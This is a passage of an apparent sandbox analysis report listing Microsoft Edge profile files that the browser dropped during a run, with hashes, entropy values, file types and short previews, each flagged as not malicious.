Category:	dropped
Size (bytes):	12982
Entropy (8bit):	5.205350643670113
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypssIs65WU8MklQMEu8abV+FUxQwP5oVQP5YJ:stKPGQSu4ssIs6+OobGUQwmVP
MD5:	FE42B7E378E37CABCAA121A9C645E79A
SHA1:	6991365D766BA826BE463B67B7501F248451D00F
SHA-256:	A7940CDC8ABE2379B7FEA7ED1DC0B72E2E1E3CFAB72928F4A20A091B640FD99D
SHA-512:	46C8E9464575011A4E38E79CC430AF3792BE8B38FF5DA49E734CE9B793A53B197721816496B2B461140F0E67DC10D2E62AC222AF1D00AA1A9D9B13847C79941F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382134809377565","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340982026942753","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35272
Entropy (8bit):	5.556119546894212
Encrypted:	false
SSDEEP:	768:DkvMP8WPsefH48F1+UoAYDCx9Tuqh0VfUC9xbog/OVtHM4QrwqaVMmqKpItus:DkvMP8WPsefH4u1jaEs4hqaVMjttH
MD5:	00257427BFC5882D602F026185E8EE0F
SHA1:	78DB85FD299457E6A882F607164D6840608F013F
SHA-256:	8393988B5EE6A30650F1D8A0FC67B6FE1BB970AAC100974B85A773CAAE00C806
SHA-512:	7F67FF08B440B311E26F7B7EF47A53DFEA06358FDE93C9064106061A753EEFBD94E675CE9F424ECCB2829E9D0EC32E22F6B51C994C223ECCB642333504687C21
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382134808427174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382134808427174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4b3eb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35272
Entropy (8bit):	5.556119546894212
Encrypted:	false
SSDEEP:	768:DkvMP8WPsefH48F1+UoAYDCx9Tuqh0VfUC9xbog/OVtHM4QrwqaVMmqKpItus:DkvMP8WPsefH4u1jaEs4hqaVMjttH
MD5:	00257427BFC5882D602F026185E8EE0F
SHA1:	78DB85FD299457E6A882F607164D6840608F013F
SHA-256:	8393988B5EE6A30650F1D8A0FC67B6FE1BB970AAC100974B85A773CAAE00C806
SHA-512:	7F67FF08B440B311E26F7B7EF47A53DFEA06358FDE93C9064106061A753EEFBD94E675CE9F424ECCB2829E9D0EC32E22F6B51C994C223ECCB642333504687C21
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382134808427174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382134808427174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4f5e5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35272
Entropy (8bit):	5.556119546894212
Encrypted:	false
SSDEEP:	768:DkvMP8WPsefH48F1+UoAYDCx9Tuqh0VfUC9xbog/OVtHM4QrwqaVMmqKpItus:DkvMP8WPsefH4u1jaEs4hqaVMjttH
MD5:	00257427BFC5882D602F026185E8EE0F
SHA1:	78DB85FD299457E6A882F607164D6840608F013F
SHA-256:	8393988B5EE6A30650F1D8A0FC67B6FE1BB970AAC100974B85A773CAAE00C806
SHA-512:	7F67FF08B440B311E26F7B7EF47A53DFEA06358FDE93C9064106061A753EEFBD94E675CE9F424ECCB2829E9D0EC32E22F6B51C994C223ECCB642333504687C21
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382134808427174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382134808427174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	4.781750903806468
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkXzd064lFlSFdVVl03nUBcis+ArXlK/Fl46JzR:chXUQI2xH8BzNme3fFd4d/rXc4IM1M/
MD5:	7C1B96DAB9280D6BA57513C7B67D992F
SHA1:	B2EE388821413E5CE5D9ECD38998F71B23FFCC69
SHA-256:	103E2BB870EF8E0155FCAEE58BB8B3421B45B580F087A72E59F67C1205C4422B
SHA-512:	765944240657437099C01890941F471D54F628E611E51DF6F50D8CA2902D874E98C664EBDBBFDC1C63E7BCADCFDC006D0B2D0DBC7B6FA4B6D790E859EF3C8D5D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2r..;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0MeN+.................URES:0..PRES:0.J4...................PRES:0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.160609339460933
Encrypted:	false
SSDEEP:	6:iOw5zZdVJ81v23oH+TcwtE/a252KLla5zZdXGDM+q2Pv23oH+TcwtE/a2ZIFUv:7wfDYeb8xLcAM+v2Yeb8J2FUv
MD5:	7F1F5C83080132A4017039B9AFD45CEC
SHA1:	7528785612B70A1832BC9CC83DDB2A7F75C6ED81
SHA-256:	54420F629F93D8D735C4F68DDCF7234C06BA94A419443C72F43C94035A5C2CA7
SHA-512:	DA0DB41879F2F5E15A2B74D9EC94033B5B041F51725BC179FE328774559B3E154454AB05D69FB47C1379E12B198FDC4337ABACE33786524F6D61D6BFF03FDAC3
Malicious:	false
Preview:	2025/01/23-14:40:19.807 efc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/01/23-14:40:19.822 efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	116269
Entropy (8bit):	5.574507922123353
Encrypted:	false
SSDEEP:	1536:We906CxPXfOZa1PEYeIlL/NvKAd19Cjf3PONUFJnGdZ1S8ZBBGQQuujGGu0aY6Zf:d9LCxPXfOZa1P5eIlL/tK819L7T
MD5:	141B9F13D10B7F418EF43D9BBC1DB933
SHA1:	A85F803B60D4E07FBC9F718D73E3FF17C6246CAE
SHA-256:	66E7FA2FA589DADB1B698366BF92C061D71C6C55A62A1038B9603566D9A65AF1
SHA-512:	263D64A63373FDE95BACD7D8E5661896045DEED34B6ADAF4415C8393E0C8B9F5E6208433BBC9C68DB569C5857DECBF7E2C4861714D9FF4ABE4BFDDCACEB80B87
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	191513
Entropy (8bit):	6.39069680013565
Encrypted:	false
SSDEEP:	3072:L5v3KWBEMBPwb+v7wuGL/MK+XXCr9nMlSr3OROrjD7hx:HPwizw7L/MhnanuEOw77hx
MD5:	81BA09DE4D733ACAB8DD63482E16660D
SHA1:	856F0ABFD7B2FDE1B4EF478321FE8DBA8EE8B238
SHA-256:	E0CBD9B1BD95A4366B94FC472CFFA78CDED66B4EC68B96C677FB848DC8C38B38
SHA-512:	59582B09F53792D231C83E36B3DE0101FDC2EAA64A6F2B3E438988C110E1D7D918E2755D010B6CF325F3BBCF0AE81E02028E40CBDF0F2A61A8D34093311AE8C0
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;@....x..........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rc.r.l....module....Rc..py....define....Rb.Be.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H........Q.......{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....th...,T.`.`z.....L`..........a............a.........Dr8..............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:OMFQyE3lzX:OEw1
MD5:	A3C8EA5E99F499AFE75269C1504F1E22
SHA1:	172CB08F38577DD87DC16372DB81D5827EC758E3
SHA-256:	50712089A45B83FBBF7BBB225CBC1D4103524306250FDB9031C0F754A06F010F
SHA-512:	ADF4A954687D219CF49F832C31C15A3A3FAF42085D6C97F008CCE3F2371AFECF6817572C661057BB7133896F42B11C42655E707712EF11EF3A402DA2C4F43163
Malicious:	false
Preview:	(......8oy retne............................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:OMFQyE3lzX:OEw1
MD5:	A3C8EA5E99F499AFE75269C1504F1E22
SHA1:	172CB08F38577DD87DC16372DB81D5827EC758E3
SHA-256:	50712089A45B83FBBF7BBB225CBC1D4103524306250FDB9031C0F754A06F010F
SHA-512:	ADF4A954687D219CF49F832C31C15A3A3FAF42085D6C97F008CCE3F2371AFECF6817572C661057BB7133896F42B11C42655E707712EF11EF3A402DA2C4F43163
Malicious:	false
Preview:	(......8oy retne............................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF504d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:OMFQyE3lzX:OEw1
MD5:	A3C8EA5E99F499AFE75269C1504F1E22
SHA1:	172CB08F38577DD87DC16372DB81D5827EC758E3
SHA-256:	50712089A45B83FBBF7BBB225CBC1D4103524306250FDB9031C0F754A06F010F
SHA-512:	ADF4A954687D219CF49F832C31C15A3A3FAF42085D6C97F008CCE3F2371AFECF6817572C661057BB7133896F42B11C42655E707712EF11EF3A402DA2C4F43163
Malicious:	false
Preview:	(......8oy retne............................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6667
Entropy (8bit):	3.396524093338067
Encrypted:	false
SSDEEP:	192:HE1XlYshVO//t3v9Xp+AKiGDULl9iSrgkDoH0/gy284:kXtViv9Xp+XaLl9iSrgWoU/gw
MD5:	21A0A6F392B53E616678C6134E063B77
SHA1:	98D57CB1D9263A2E416421C676809B6C4EAA5F17
SHA-256:	B9564463BC4D115DEB82C8A21FE27CF9E48B4ED43BE5215DBCD87B7D4B91FDA1
SHA-512:	BD956FF5148E36A5B94A9335E55580A0C57342B48A37D389F3B3CAB75E33B8E3070601D96553DFE4E94EF036E9B7AA5989BD3832B874457AD32EEAFF61712C8F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................>.Wb................next-map-id.1.Cnamespace-7acded5a_5af4_4dcc_9f6c_bab0506fd530-https://ntp.msn.com/.0o....................map-0-shd_sweeper.1{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.c.x.t.s.c.-.c.,.x.a.d.s.-.x.g.p.1.-.t.-.a.a.,.p.r.g.-.m.s.n.-.b.l.s.b.i.d.m.h.o.,.c.p.r.g.-.v.i.e.w.s.-.c.t.i.n.r.e.f.,.p.n.p.w.x.e.x.p.r.e.g.-.c.,.b.i.n.g._.v.2._.s.c.o.p.e.-.c.,.p.r.g.-.1.s.w.-.s.a.c.f.x.2.t.2.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.n.i.c.h.e.v.2.t.2.1.,.p.r.g.-.1.s.w.-.s.a.-.s.h.o.r.t.i.n.t.e.n.t.t.1.,.p.r.g.-.1.s.w.-.s.a.p.h.i.d.e.i.3.c.,.p.r.g.-.1.s.w.-.c.-.p.r.e.f.e.t.c.h.c.r.s.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.t.,.p.r.g.-.1.s.w.-.l.d.n.y.-.t.r.a.n.s.i.t.,.p.r.g.-.1.s.w.-.t.r.a.n.-.t.r.d.,.p.r.g.-.1.s.w.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.182265292497869
Encrypted:	false
SSDEEP:	6:iOw5zd+q2Pv23oH+TcwtrQMxIFUtq5zp9Zmwc5zpciVkwOv23oH+TcwtrQMFLJ:7wWv2YebCFUtqJ/cQa5bYebtJ
MD5:	DCC1DC30FFB9D95BFFB753A060B26683
SHA1:	23FF2E125F0F47096DE14F00A6A715B67036D5E1
SHA-256:	B4AB4B796E73D3094B0253DD6EA62C0734CEF14B0C76A5C314209CFD62B1E275
SHA-512:	E5127F4E9A74606665B61DCE5A3EEC0836FCA643E985056BE5035E88DE77D327B09F5450BE3C16F00BA5E13621B2ADAEBC678951F14B6F4CAC7A1E2FCB11920A
Malicious:	false
Preview:	2025/01/23-14:40:09.494 1168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/01/23-14:40:09.517 1168 Recovering log #3.2025/01/23-14:40:09.520 1168 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.182265292497869
Encrypted:	false
SSDEEP:	6:iOw5zd+q2Pv23oH+TcwtrQMxIFUtq5zp9Zmwc5zpciVkwOv23oH+TcwtrQMFLJ:7wWv2YebCFUtqJ/cQa5bYebtJ
MD5:	DCC1DC30FFB9D95BFFB753A060B26683
SHA1:	23FF2E125F0F47096DE14F00A6A715B67036D5E1
SHA-256:	B4AB4B796E73D3094B0253DD6EA62C0734CEF14B0C76A5C314209CFD62B1E275
SHA-512:	E5127F4E9A74606665B61DCE5A3EEC0836FCA643E985056BE5035E88DE77D327B09F5450BE3C16F00BA5E13621B2ADAEBC678951F14B6F4CAC7A1E2FCB11920A
Malicious:	false
Preview:	2025/01/23-14:40:09.494 1168 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/01/23-14:40:09.517 1168 Recovering log #3.2025/01/23-14:40:09.520 1168 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13382134810929940

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.802042448749377
Encrypted:	false
SSDEEP:	24:3dDxzOaYR6psAF4unxatLp3X2amEtG1ChqK8loS0YQKkOAM4:3dDBOTR6zFMLp2FEkCh3SKHOp
MD5:	C7C09E7DF540CED0D77CC84C3B40909A
SHA1:	D94A5A64E42E126C5D4D18ECDF65F1B69DABB8F5
SHA-256:	55E6FF9D2FD4D37984878F3657BCF39609CFFE8E75BDA9D24EE5980F63CAB55D
SHA-512:	F56626289F5F54493EC4A84E590453851992232597C1F2A75C77AFBAEDB5E70DF283F28F0DC7B293DF6CBB011324625D3BD6CF32EC516B2BF35D4811A116C93B
Malicious:	false
Preview:	SNSS.......v6.&...........v6.&......"v6.&...........v6.&.......v6.&.......w6.&.......w6.&....!..w6.&...............................v6.&w6.&1..,...w6.&$...7acded5a_5af4_4dcc_9f6c_bab0506fd530...v6.&.......w6.&......;........v6.&...v6.&.......................v6.&....................5..0...v6.&&...{ED1AB0E0-8ED7-4550-AE40-D5E96F7A5F34}.....v6.&.......v6.&..........................w6.&...........w6.&........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........y?.d,...y?.d,.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.1003430010089374
Encrypted:	false
SSDEEP:	6:iOw5zCuM+q2Pv23oH+Tcwt7Uh2ghZIFUtq5zCU/Zmwc5zCUSMVkwOv23oH+Tcwts:7w4D+v2YebIhHh2FUtq4U//c4U/V5bYz
MD5:	51BD72376FA6D722475019693E6047D8
SHA1:	9F1154DA65B1525A735B757E5C76199DE5C4154C
SHA-256:	5141AE8EE718FD21C51248AB1B52883112266A629A8D8CFF61D14595A551F885
SHA-512:	BA6DFBAC27B426795B9B9265B2FAC07D7D68448B60F42E1B60FA9ACA147112B3A07DED124A48745B6BAF781AA322A8226FF726D3002BCAED4DE4C273A2CB897E
Malicious:	false
Preview:	2025/01/23-14:40:08.452 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/01/23-14:40:08.453 1a1c Recovering log #3.2025/01/23-14:40:08.453 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.1003430010089374
Encrypted:	false
SSDEEP:	6:iOw5zCuM+q2Pv23oH+Tcwt7Uh2ghZIFUtq5zCU/Zmwc5zCUSMVkwOv23oH+Tcwts:7w4D+v2YebIhHh2FUtq4U//c4U/V5bYz
MD5:	51BD72376FA6D722475019693E6047D8
SHA1:	9F1154DA65B1525A735B757E5C76199DE5C4154C
SHA-256:	5141AE8EE718FD21C51248AB1B52883112266A629A8D8CFF61D14595A551F885
SHA-512:	BA6DFBAC27B426795B9B9265B2FAC07D7D68448B60F42E1B60FA9ACA147112B3A07DED124A48745B6BAF781AA322A8226FF726D3002BCAED4DE4C273A2CB897E
Malicious:	false
Preview:	2025/01/23-14:40:08.452 1a1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/01/23-14:40:08.453 1a1c Recovering log #3.2025/01/23-14:40:08.453 1a1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018090556708630736
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlzkeG:/M/xT02zL
